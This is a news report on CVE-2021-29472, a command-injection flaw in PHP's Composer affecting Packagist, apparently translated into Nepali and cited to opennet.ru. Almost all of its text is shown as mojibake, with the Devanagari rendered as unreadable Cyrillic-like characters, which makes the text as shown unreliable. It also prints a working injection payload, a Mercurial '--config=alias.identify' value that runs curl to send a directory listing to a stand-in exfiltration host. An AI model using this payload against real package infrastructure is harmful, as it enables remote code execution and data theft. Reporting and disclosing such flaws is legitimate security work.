рдХрдореНрдкреЛрдЬрд░ рдкреНрдпрд╛рдХреЗрдЬ рдкреНрд░рдмрдиреНрдзрдХрдорд╛ рдХрдордЬреЛрд░реА рдЬрд╕рд▓реЗ рдкреНрдпрд╛рдХреЗрдЬрд┐рд╕реНрдЯ PHP рднрдгреНрдбрд╛рд░рдХреЛ рд╕рдореНрдЭреМрддрд╛рд▓рд╛рдИ рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫ

рдХрдореНрдкреЛрдЬрд░ рдирд┐рд░реНрднрд░рддрд╛ рдкреНрд░рдмрдиреНрдзрдХрдорд╛ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЬреЛрдЦрд┐рдо (CVE-2021-29472) рдкрд╣рд┐рдЪрд╛рди рдЧрд░рд┐рдПрдХреЛ рдЫ, рдЬрд╕рд▓реЗ рд╕реНрд░реЛрдд рдбрд╛рдЙрдирд▓реЛрдб рдареЗрдЧрд╛рдирд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЧрд░реНрдиреЗ рд╡рд┐рд╢реЗрд╖ рд░реВрдкрдорд╛ рдХреНрд░рд╛рдлреНрдЯ рдЧрд░рд┐рдПрдХреЛ URL рдорд╛рдирдХреЛ рд╕рд╛рде рдкреНрдпрд╛рдХреЗрдЬ рдкреНрд░рд╢реЛрдзрди рдЧрд░реНрджрд╛ рдкреНрд░рдгрд╛рд▓реАрдорд╛ рд╕реНрд╡реЗрдЪреНрдЫрд╛рдЪрд╛рд░реА рдЖрджреЗрд╢рд╣рд░реВ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрди рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫред рд╕рдорд╕реНрдпрд╛ GitDriver, SvnDriver, рд░ HgDriver рдХрдореНрдкреЛрдиреЗрдиреНрдЯрд╣рд░реВрдорд╛ Git, Subversion, рд░ Mercurial рд╕реНрд░реЛрдд рдирд┐рдпрдиреНрддреНрд░рдг рдкреНрд░рдгрд╛рд▓реАрд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрджрд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреНрдЫред рдХрдордЬреЛрд░реА рдХрдореНрдкреЛрдЬрд░ 1.10.22 рд░ 2.0.13 рд░рд┐рд▓реАрдЬрд╣рд░реВрдорд╛ рдлрд┐рдХреНрд╕ рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛред

рдпреЛ рд╡рд┐рд╢реЗрд╖ рд░реВрдкрдорд╛ рдиреЛрдЯ рдЧрд░рд┐рдПрдХреЛ рдЫ рдХрд┐ рдореБрджреНрджрд╛рд▓реЗ рдореБрдЦреНрдп рд░реВрдкрдорд╛ рдХрдореНрдкреЛрдЬрд░рдХреЛ рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдкреНрдпрд╛рдХреЗрдЬрд┐рд╕реНрдЯ рдкреНрдпрд╛рдХреЗрдЬ рднрдгреНрдбрд╛рд░рд▓рд╛рдИ рдЕрд╕рд░ рдЧрд░реЗрдХреЛ рдЫ, рдЬрд╕рдорд╛ 306 PHP рд╡рд┐рдХрд╛рд╕рдХрд░реНрддрд╛ рдкреНрдпрд╛рдХреЗрдЬрд╣рд░реВ рд░ 1.4 рдмрд┐рд▓рд┐рдпрди рдорд╛рд╕рд┐рдХ рдбрд╛рдЙрдирд▓реЛрдбрд╣рд░реВ рдЫрдиреНред рдкреНрд░рдпреЛрдЧрд▓реЗ рджреЗрдЦрд╛рдЙрдБрджрдЫ рдХрд┐, рдпрджрд┐ рд╕рдорд╕реНрдпрд╛рдХреЛ рдмрд╛рд░реЗрдорд╛ рдерд╛рд╣рд╛ рдЫ рднрдиреЗ, рдЖрдХреНрд░рдордгрдХрд╛рд░реАрд╣рд░реВрд▓реЗ рдкреНрдпрд╛рдХреЗрдЬрд┐рд╕реНрдЯ рдкреВрд░реНрд╡рд╛рдзрд╛рд░рдХреЛ рдирд┐рдпрдиреНрддреНрд░рдг рд▓рд┐рди рд╕рдХреНрдЫрдиреН рд░ рдорд░реНрдорддрдХрд░реНрддрд╛рд╣рд░реВрдХреЛ рдкреНрд░рдорд╛рдгрд╣рд░реВ рд░реЛрдХреНрди рд╕рдХреНрдЫрдиреН рд╡рд╛ рдкреНрдпрд╛рдХреЗрдЬ рдбрд╛рдЙрдирд▓реЛрдбрд╣рд░реВрд▓рд╛рдИ рддреЗрд╕реНрд░реЛ-рдкрдХреНрд╖ рд╕рд░реНрднрд░рдорд╛ рдкреБрди: рдирд┐рд░реНрджреЗрд╢рд┐рдд рдЧрд░реНрди рд╕рдХреНрдЫрдиреН, рдмреНрдпрд╛рдХрдбреЛрд░ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рдЧрд░реНрди рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкрд░рд┐рд╡рд░реНрддрдирд╣рд░реВрдХрд╛ рд╕рд╛рде рдкреНрдпрд╛рдХреЗрдЬрд╣рд░реВрдХреЛ рднреЗрд░рд┐рдпрдиреНрдЯрд╣рд░реВрдХреЛ рдбреЗрд▓рд┐рднрд░реАрдХреЛ рд╡реНрдпрд╡рд╕реНрдерд╛ рдЧрд░реНрджреИред рдирд┐рд░реНрднрд░рддрд╛ рдХреЛ рд╕реНрдерд╛рдкрдирд╛ рдХреЛ рд╕рдордпрдорд╛ред

рдЕрдиреНрдд рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд╣рд░реВрдХреЛ рд▓рд╛рдЧрд┐ рдЦрддрд░рд╛ рдпреЛ рддрдереНрдпрдорд╛ рд╕реАрдорд┐рдд рдЫ рдХрд┐ composer.json рдХреЛ рд╕рд╛рдордЧреНрд░реА рд╕рд╛рдорд╛рдиреНрдпрддрдпрд╛ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рджреНрд╡рд╛рд░рд╛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдЧрд░рд┐рдПрдХреЛ рдЫ, рд░ рддреЗрд╕реНрд░реЛ-рдкрдХреНрд╖ рднрдгреНрдбрд╛рд░рд╣рд░реВ рдкрд╣реБрдБрдЪ рдЧрд░реНрджрд╛ рд╕реНрд░реЛрддрд╣рд░реВрдорд╛ рд▓рд┐рдЩреНрдХрд╣рд░реВ рдкрд╛рд╕ рдЧрд░рд┐рдиреНрдЫ, рдЬреБрди рд╕рд╛рдорд╛рдиреНрдпрддрдпрд╛ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣реБрдиреНрдЫрдиреНред рдореБрдЦреНрдп рдкреНрд░рд╣рд╛рд░ Packagist.org рднрдгреНрдбрд╛рд░ рд░ рдирд┐рдЬреА рдкреНрдпрд╛рдХреЗрдЬрд┐рд╕реНрдЯ рд╕реЗрд╡рд╛рдорд╛ рдкрд░реЗрдХреЛ рдЫ, рдЬрд╕рд▓реЗ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛рд╣рд░реВрдмрд╛рдЯ рдкреНрд░рд╛рдкреНрдд рдбрд╛рдЯрд╛рдХреЛ рд╕реНрдерд╛рдирд╛рдиреНрддрд░рдгрдХреЛ рд╕рд╛рде рдХрдореНрдкреЛрдЬрд░рд▓рд╛рдИ рдХрд▓ рдЧрд░реНрдЫред рдЖрдХреНрд░рдордгрдХрд╛рд░реАрд╣рд░реВрд▓реЗ рддрд┐рдиреАрд╣рд░реВрдХреЛ рдХреЛрдб рдкреНрдпрд╛рдХреЗрдЬрд┐рд╕реНрдЯ рд╕рд░реНрднрд░рд╣рд░реВрдорд╛ рд╡рд┐рд╢реЗрд╖ рд░реВрдкрдорд╛ рдХреНрд░рд╛рдлреНрдЯ рдЧрд░рд┐рдПрдХреЛ рдкреНрдпрд╛рдХреЗрдЬ рд╣реЛрд╕реНрдЯ рдЧрд░реЗрд░ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрди рд╕рдХреНрдереЗред

рдкреНрдпрд╛рдХреЗрдЬрд┐рд╕реНрдЯ рдЯреЛрд▓реАрд▓реЗ рдЬреЛрдЦрд┐рдо рд░рд┐рдкреЛрд░реНрдЯ рдЧрд░рд┐рдПрдХреЛ 12 рдШрдгреНрдЯрд╛ рднрд┐рддреНрд░ рдЬреЛрдЦрд┐рдо рдлрд┐рдХреНрд╕ рдЧрд░реНрдпреЛред рдЕрдиреНрд╡реЗрд╖рдХрд╣рд░реВрд▓реЗ рдирд┐рдЬреА рд░реВрдкрдорд╛ рдкреНрдпрд╛рдХреЗрдЬрд┐рд╕реНрдЯ рд╡рд┐рдХрд╛рд╕рдХрд░реНрддрд╛рд╣рд░реВрд▓рд╛рдИ рдЕрдкреНрд░рд┐рд▓ 22 рдорд╛ рд╕реВрдЪрд┐рдд рдЧрд░реЗ рд░ рдореБрджреНрджрд╛ рдЙрд╣реА рджрд┐рди рдлрд┐рдХреНрд╕ рдЧрд░рд┐рдпреЛред рдЕрдкреНрд░рд┐рд▓ реирен рдорд╛ рдХрдореНрдкреЛрдЬрд░ рдлрд┐рдХреНрд╕рд┐рдЩ рдЧрд░реНрдиреЗ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЕрдкрдбреЗрдЯ рдЕрдкреНрд░рд┐рд▓ реирео рдорд╛ рдкреНрд░рдХрд╛рд╢рд┐рдд рднрдПрдХреЛ рд╡рд┐рд╡рд░рдгрд╕рд╣рд┐рдд рдкреЛрд╕реНрдЯ рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛред рдкреНрдпрд╛рдХреЗрдЬрд┐рд╕реНрдЯ рд╕рд░реНрднрд░рд╣рд░реВрдорд╛ рд▓рдЧрд╣рд░реВрдХреЛ рдЕрдбрд┐рдЯрд▓реЗ рдЬреЛрдЦрд┐рдорд╕рдБрдЧ рд╕рдореНрдмрдиреНрдзрд┐рдд рдХреБрдиреИ рдкрдирд┐ рд╕рдВрджрд┐рдЧреНрдз рдЧрддрд┐рд╡рд┐рдзрд┐ рдкреНрд░рдХрдЯ рдЧрд░реЗрдиред

рд░реВрдЯ composer.json рдлрд╛рдЗрд▓ рд░ рд╕реНрд░реЛрдд рдбрд╛рдЙрдирд▓реЛрдб рд▓рд┐рдЩреНрдХрд╣рд░реВрдорд╛ URL рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛрдбрдорд╛ рдмрдЧрдХрд╛ рдХрд╛рд░рдг рд╕рдорд╕реНрдпрд╛ рднрдПрдХреЛ рд╣реЛред рдпреЛ рдмрдЧ рдиреЛрднреЗрдореНрдмрд░ реирежрезрез рджреЗрдЦрд┐ рдХреЛрдбрдорд╛ рд░рд╣реЗрдХреЛ рдЫред Packagist рдорд╛, рдПрдХ рд╡рд┐рд╢реЗрд╖ рд╕реНрд░реЛрдд рдирд┐рдпрдиреНрддреНрд░рдг рдкреНрд░рдгрд╛рд▓реАрдорд╛ рдмрд╛рдБрдзрд┐рдПрдХреЛ рдмрд┐рдирд╛ рдХреЛрдбрдХреЛ рд▓реЛрдбрд┐рдЩ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдЧрд░реНрди, рд╡рд┐рд╢реЗрд╖ рддрд╣рд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреНрдЫ, рдЬреБрди "fromShellCommandline" рд▓рд╛рдИ рдЖрджреЗрд╢ рд▓рд╛рдЗрди рддрд░реНрдХрд╣рд░реВ рдкрд╛рд╕ рдЧрд░реЗрд░ рдХрд▓ рдЧрд░реЗрд░ рдкреНрд░рджрд░реНрд╢рди рдЧрд░рд┐рдиреНрдЫред рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, git рдХреЛ рд▓рд╛рдЧрд┐, "git ls-remote --heads $URL" рдХрдорд╛рдгреНрдб рднрдирд┐рдиреНрдЫ, рдЬрд╣рд╛рдБ URL рд▓рд╛рдИ "ProcessExecutor::escape($url)" рд╡рд┐рдзрд┐ рдкреНрд░рдпреЛрдЧ рдЧрд░реА рдкреНрд░рд╢реЛрдзрди рдЧрд░рд┐рдиреНрдЫ, рд╕рдореНрднрд╛рд╡рд┐рдд рдЦрддрд░рдирд╛рдХ рдирд┐рд░реНрдорд╛рдгрд╣рд░реВ рдЬрд╕реНрддреИ "$( ...)" рд╡рд╛ "` тАж`"ред

рд╕рдорд╕реНрдпрд╛рдХреЛ рд╕рд╛рд░ рдпреЛ рд╣реЛ рдХрд┐ ProcessExecutor:: escape рд╡рд┐рдзрд┐рд▓реЗ "тАФ" рдЕрдиреБрдХреНрд░рдордмрд╛рдЯ рднрд╛рдЧреЗрди, рдЬрд╕рд▓реЗ URL рдорд╛ рдХреБрдиреИ рдкрдирд┐ рдЕрддрд┐рд░рд┐рдХреНрдд рдХрд▓ рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЧрд░реНрди рдЕрдиреБрдорддрд┐ рджрд┐рдпреЛред рдпреЛ рдПрд╕реНрдХреЗрдкрд┐рдЩ GitDriver.php, SvnDriver.php рд░ HgDriver.php рдорд╛ рд╣рд░рд╛рдЗрд░рд╣реЗрдХреЛ рдерд┐рдпреЛред GitDriver.php рдЖрдХреНрд░рдордгрд▓рд╛рдИ "git ls-remote" рдЖрджреЗрд╢рд▓реЗ рдкрде рдкрдЫрд┐ рдердк рддрд░реНрдХрд╣рд░реВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЧрд░реНрди рд╕рдорд░реНрдерди рдЧрд░реНрджреИрди рднрдиреНрдиреЗ рддрдереНрдпрд▓реЗ рдмрд╛рдзрд┐рдд рдЧрд░реЗрдХреЛ рдерд┐рдпреЛред HgDriver.php рдорд╛ рдЖрдХреНрд░рдордг "-config" рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рд▓рд╛рдИ "hq" рдЙрдкрдпреЛрдЧрд┐рддрд╛рдорд╛ рдкрд╛рд╕ рдЧрд░реЗрд░ рд╕рдореНрднрд╡ рднрдпреЛ, рдЬрд╕рд▓реЗ "alias.identify" рд╕реЗрдЯрд┐рдЩрд╕рдБрдЧ рд╣реЗрд░рдлреЗрд░ рдорд╛рд░реНрдлрдд рдХреБрдиреИ рдкрдирд┐ рдЖрджреЗрд╢рдХреЛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрдирд▓рд╛рдИ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдЧрд░реНрди рдЕрдиреБрдорддрд┐ рджрд┐рдиреНрдЫред рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, рдХрд░реНрд▓ рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдЪрд▓рд╛рдПрд░ рдХреЛрдб рдбрд╛рдЙрдирд▓реЛрдб рдЧрд░реНрди рд░ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрди, рдХрд╕реИрд▓реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЧрд░реНрди рд╕рдХреНрдЫ: --config=alias.identify=!curl http://exfiltration-host.tld --data "$(ls -alh)"

рдкреНрдпрд╛рдХреЗрдЬрд┐рд╕реНрдЯрд╕рдБрдЧ рдорд┐рд▓реНрджреЛрдЬреБрд▓реНрджреЛ URL рдХреЛ рд╕рд╛рде рдкрд░реАрдХреНрд╖рдг рдкреНрдпрд╛рдХреЗрдЬ рдкреЛрд╕реНрдЯ рдЧрд░реЗрд░, рд╢реЛрдзрдХрд░реНрддрд╛рд╣рд░реВрд▓реЗ рдкреНрд░рдорд╛рдгрд┐рдд рдЧрд░реЗ рдХрд┐ рдкреЛрд╕реНрдЯ рдЧрд░реЗрдкрдЫрд┐, рддрд┐рдиреАрд╣рд░реВрдХреЛ рд╕рд░реНрднрд░рд▓реЗ рд╣рд╛рд▓рдХреЛ рдбрд╛рдЗрд░реЗрдХреНрдЯрд░реАрдорд╛ рдлрд╛рдЗрд▓рд╣рд░реВрдХреЛ рд╕реВрдЪреА рд╕рдорд╛рд╡реЗрд╢ рдЧрд░реА AWS рдорд╛ рдкреНрдпрд╛рдХреЗрдЬрд┐рд╕реНрдЯ рд╕рд░реНрднрд░рд╣рд░реВ рдордзреНрдпреЗ рдПрдХрдмрд╛рдЯ HTTP рдЕрдиреБрд░реЛрдз рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрдпреЛред

рд╕реНрд░реЛрдд: opennet.ru

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдердкреНрди